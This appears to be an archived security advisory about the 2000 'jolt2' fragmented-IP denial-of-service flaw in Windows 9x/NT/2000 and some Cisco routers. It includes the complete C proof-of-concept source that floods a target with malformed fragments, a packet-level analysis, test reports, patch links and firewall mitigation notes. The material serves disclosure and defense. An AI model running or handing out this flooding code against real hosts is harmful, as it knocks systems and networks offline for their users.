COMMAND

    TCP/IP

SYSTEMS AFFECTED

    Windows Windows 2000, NT4, and Win9x, Cisco routers

PROBLEM

    Following is based on  BindView Security Advisory.   Sending large
    numbers of identical  fragmented IP packets  to a Windows  2000 or
    NT4 host may cause the target  to lock-up for the duration of  the
    attack.  The CPU  utilization on the target  goes to 100% for  the
    duration  of  the  attack.   This  causes  both the UI and network
    interfaces to lock  up.  During  testing a target  was observed to
    BSOD, but this  was not reproducible,  and it's not  clear that it
    was actually related to the attack.

    Send identical fragmented IP packets to the target at the rate  of
    approximately 150 packets per second.  The contents of the  packet
    do not  appear to  matter greatly.   Our testing  was mostly  done
    with ICMP packets, however the problem is not specific to ICMP.

    This vulnerability  was discovered  by Dmitri  Netes of BindView's
    HackerShield development team.

    Following is the  code for the  new DoS discovered  by Razor.   It
    forces  cpu  utilization  to  100%,  making everything move really
    really  slow.   Tested  against  Win98,  WinNT4/sp5,6,  Win2K.  An
    interesting side note is that  minor changes to this packet  cause
    NT4/Win2k  (maybe  others,   not  tested)  memory   use  to   jump
    *substantially* (+70 meg non-paged-pool  on a machine with  196 mb
    phys).   There seems  to be  a hard  upper limit,  but on machines
    with smaller amounts  of memory or  smaller swapfiles, ramping  up
    the  non-paged-pool  this  much  might  lead  to a BSOD.  Below is
    explaination of it.

    /*
     * File:   jolt2.c
     * Author: Phonix <phonix@moocow.org>
     * Date:   23-May-00
     *
     * Description: This is the proof-of-concept code for the
     *              Windows denial-of-serice attack described by
     *              the Razor team (NTBugtraq, 19-May-00)
     *              (MS00-029).  This code causes cpu utilization
     *              to go to 100%.
     *
     * Tested against: Win98; NT4/SP5,6; Win2K
     *
     * Written for: My Linux box.  YMMV.  Deal with it.
     *
     * Thanks: This is standard code.  Ripped from lots of places.
     *         Insert your name here if you think you wrote some of
     *         it.  It's a trivial exploit, so I won't take credit
     *         for anything except putting this file together.
     */

    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <getopt.h>

    struct _pkt
    {
      struct iphdr    ip;
      union {
        struct icmphdr  icmp;
        struct udphdr   udp;
      }  proto;
      char data;
    } pkt;

    int icmplen  = sizeof(struct icmphdr),
        udplen   = sizeof(struct udphdr),
        iplen    = sizeof(struct iphdr),
        spf_sck;

    void usage(char *pname)
    {
      fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
               pname);
      fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
      exit(0);
    }

    u_long host_to_ip(char *host_name)
    {
      static  u_long ip_bytes;
      struct hostent *res;

      res = gethostbyname(host_name);
      if (res == NULL)
        return (0);
      memcpy(&ip_bytes, res->h_addr, res->h_length);
      return (ip_bytes);
    }

    void quit(char *reason)
    {
      perror(reason);
      close(spf_sck);
      exit(-1);
    }

    int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
    {
      int     bs, psize;
      unsigned long x;
      struct  sockaddr_in to;

      to.sin_family = AF_INET;
      to.sin_port = 1235;
      to.sin_addr.s_addr = dst_addr;

      if (port)
        psize = iplen + udplen + 1;
      else
        psize = iplen + icmplen + 1;
      memset(&pkt, 0, psize);

      pkt.ip.version = 4;
      pkt.ip.ihl = 5;
      pkt.ip.tot_len = htons(iplen + icmplen) + 40;
      pkt.ip.id = htons(0x455);
      pkt.ip.ttl = 255;
      pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
      pkt.ip.saddr = src_addr;
      pkt.ip.daddr = dst_addr;
      pkt.ip.frag_off = htons (8190);

      if (port)
      {
        pkt.proto.udp.source = htons(port|1235);
        pkt.proto.udp.dest = htons(port);
        pkt.proto.udp.len = htons(9);
        pkt.data = 'a';
      } else {
        pkt.proto.icmp.type = ICMP_ECHO;
        pkt.proto.icmp.code = 0;
        pkt.proto.icmp.checksum = 0;
      }

      while (1) {
        bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
                  sizeof(struct sockaddr));
      }
      return bs;
    }

    int main(int argc, char *argv[])
    {
      u_long  src_addr, dst_addr;
      int i, bs=1, port=0;
      char hostname[32];

      if (argc < 2)
        usage (argv[0]);

      gethostname (hostname, 32);
      src_addr = host_to_ip(hostname);

      while ((i = getopt (argc, argv, "s:p:h")) != EOF)
      {
        switch (i)
        {
          case 's':
            dst_addr = host_to_ip(optarg);
            if (!dst_addr)
              quit("Bad source address given.");
            break;

          case 'p':
            port = atoi(optarg);
            if ((port <=0) || (port > 65535))
              quit ("Invalid port number given.");
            break;

          case 'h':
          default:
            usage (argv[0]);
        }
      }

      dst_addr = host_to_ip(argv[argc-1]);
      if (!dst_addr)
        quit("Bad destination address given.");

      spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
      if (!spf_sck)
        quit("socket()");
      if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
          sizeof(bs)) < 0)
        quit("IP_HDRINCL");

      do_frags (spf_sck, src_addr, dst_addr, port);
    }

    Following is  Mikael Olsson's  analysis of  jolt2.c (revision  2).
    There are two modes of operation:

        - Illegaly fragmented ICMP ECHOs (pings)
        - Illegaly fragmented UDP packets

    They  both  send  out  a  continous  stream of identical fragments
    (same offset, same frag  ID, same everything) where  the fragments
    are constructed such that:

        - ALL fragments are sent with fragment offset 65520 (The value
          transmitted  is  8190,  but  this  is  the  number of 64-bit
          blocks, so the real offset is 65520.)
        - 9 bytes of IP data are sent (total packet length 29)
        - IP packet ID is 0x0455
        - TTL is initially 255
        - Source address is not spoofed
        - Destination address is victim address
        - IP  checksum is  set to  zero (should  be illegal.   If  the
          checksum is automatically  computed by the  IP stack or  the
          NIC, it won't be zero)
        - IP total length is set to 68 (IP+8+40) (illegal!)
        - The IP MF flag is set to zero (last fragment)

    The  code  also  ensures  that  correct UDP/ICMP headers are sent.
    However, do not be fooled by this behaviour.  The headers are  NOT
    sent in a fragment with offset zero, so they will never be  parsed
    as UDP/ICMP headers by the  recipient.  They are treated  as "just
    another 9 bytes of data".  As  such, all that can be said is  that
    it is sending "UDP" or "ICMP"  data. It is NOT sending a  specific
    ICMP type, and it is NOT sending to a specific UDP port!

    The ICMP header sent is an ICMP ECHO (ping) with

        code=0
        checksum=0
        unused 32-bit value = 0
        the one data byte = 0

    The UDP header sent has dest port = user-specified,

        src port = user-specified (binary OR) 1235
        checksum = 0
        UDP total length = 9
        the one data byte = 'a'

    Again:  No  one  will  parse  these  headers, it's just "another 9
    bytes of data".

    In  the  source,  the  IP  checksum  is  set to zero.  Setting the
    checksum  to  0  is  perfectly  valid  if  you  are offloading the
    checksumming to the  NIC.  According  to RFC1812, the  only action
    taken on a  packet before the  checksum check should  be to verify
    that it is large enough to contain the basic IP header.

    Again, analyzing the structure of the fragments:

        - The data _sent_ is 29 bytes (20 IP + 9 data), which is valid
          as it is a last fragment (MF=0).
        - However, the  total length reported  by the IP  header is 68
          bytes.  This  means that the  packet should fail  structural
          tests, if  there are  any. [snip  poisonous statement  about
          A Large OS Vendor's code quality]  Receipt of a packet  with
          a  reported  length  being  larger  than the actual received
          length  is  a  normal  occurence,  it'll  happen  any time a
          packet is truncated during transport.
        - According to  the IP header  total length, the  amount of IP
          data is  48 bytes.   Since the  offset is  65520, this would
          result in a IP  packet length overflow; the  maximum allowed
          length is 65535.  Note however that the data sent (9  bytes)
          would not cause an overflow.
        - Fragments are flagged as being "last fragments".

    Brian S. DuRoss tested  it on a Cisco  3640 Running IOS 11.3,  and
    the router quite routing until the exploit was stopped.

    Matthew S. Hallacy tested it too.  It caused some temporary packet
    loss  on  his  7204  (12.0(5)T1),  and  a lot more packetloss on a
    2600 (12.0(3)T3), although that could have been saturation of  the
    T1 that runs to it.

    Earl T. Carter was testing the effects of jolt2 on a Win2K  system
    in his lab.  The command line options were:

        jolt2 x.y.z.q

    As  advertised,  this  caused  the  win2K  to freeze.  At the same
    time, he was  watching the network  traffic on a  Redhat Linux 6.0
    system using  tcpdump.   After he  killed the  Jolt2 process,  the
    Win2K box  was back  to normal,  but the  Linux box was completely
    locked up.   The Linux  machine required  a hard  reset to  get it
    operational  again.   The  command  that  he  used  on the tcpdump
    command line was:

        tcpdump -n -s 1500 -w /tmp/filename

    After some quick testing, he  discovered that the Linux box  would
    not lock up if  the network traffic is  output to the screen.   He
    also discovered that  using the default  snaplen and writing  to a
    file does not cause  a problem.  The  lock up seems to  only occur
    when you specify  a snaplen of  1500 (entire Ethernet  packet) and
    use  Tcpdump's  "-w"  command  to  write  the sniffed packets to a
    file.  It  only takes about  5 seconds worth  of jolt2 traffic  to
    cause the Linux box to lock up.

    If someone run jolt2 against a  Be/OS 5.0 will lead the system  to
    be slowly like  the win family  in a few  minutes.  Try  run jolt2
    against the system and open one terminal or two and you'll get the
    system very slow.  After attack running for 15 minutes it gets the
    Be/OS totally locked needing a reset.

SOLUTION

    Filter fragmnented IP packets at your routers, if possible.  Patch
    availability:

        - Windows 95: http://download.microsoft.com/download/win95/update/8070/w95/EN-US/259728USA5.EXE
        - Windows 98: http://download.microsoft.com/download/win98/update/8070/w98/EN-US/259728USA8.EXE
        - Windows NT 4.0 Workstation, Server and Server, Enterprise Edition:    http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20829
        - Windows NT 4.0 Server, Terminal Server Edition: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830
        - Windows 2000 Professional, Server and Advanced Server: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20827

    How do firewalls protect  against this attack?   (stateful) packet
    filtering firewalls:

    * The  packet  fails  structural  integrity  tests.  The  reported
      length  (68)  is  much  larger  than  the  received length (29).
      However:   A  broken  router  may  decide  to send 68 bytes when
      forwarding it (adding 39 bytes of random padding).

    * This incarnation of the attack is also illegal in that it  wraps
      the IP packet size  limit.  The IP  data length reported is  48,
      and the offset is 65520.

    * If the firewall has any sort of (pseudo)fragment reassembly,  it
      shouldn't  forward  a  single  packet,  since there are no valid
      fragments preceding the attack sequence.

    * If the  firewall maps fragments  to open connections,  it should
      detect  that  there  is  no  open connection for this particular
      packet, thereby discarding it.

    Proxy firewalls:

    * A  proxy function  will never  pass this  attack pattern  to the
      protected  network.  (Note:  assumes  that  there  is no  packet
      filtering functionality applied to the firewall)

    * If the proxy firewall is running on a vulnerable OS and  doesn't
      have its own  network layer code  (relies on the  MS stack), the
      attack will  DoS the  firewall itself,  effectively DoSing  your
      entire connection.

    Any type firewall:

    * If  the firewall  does fragment  reassembly in  an incorrect way
      (maybe by trusting  vulnerable MS stacks  to do it),  it will be
      vulnerable to the attack,  regardless of which type  of firewall
      it is.

    Fact 1: A proxy  firewall will  NOT pass  this attack  pattern  to
            the protected network.
    Fact 2: If the  proxy firewall is running  on a vulnerable OS  and
            doesn't have its own network layer code (relies on the  MS
            stack), the attack will DoS the firewall itself.

    The fact of the matter is,  any type firewall that runs on  top of
    Win9x/NT  that  doesn't  have  its  own  network  layer  code   is
    vulnerable to this attack.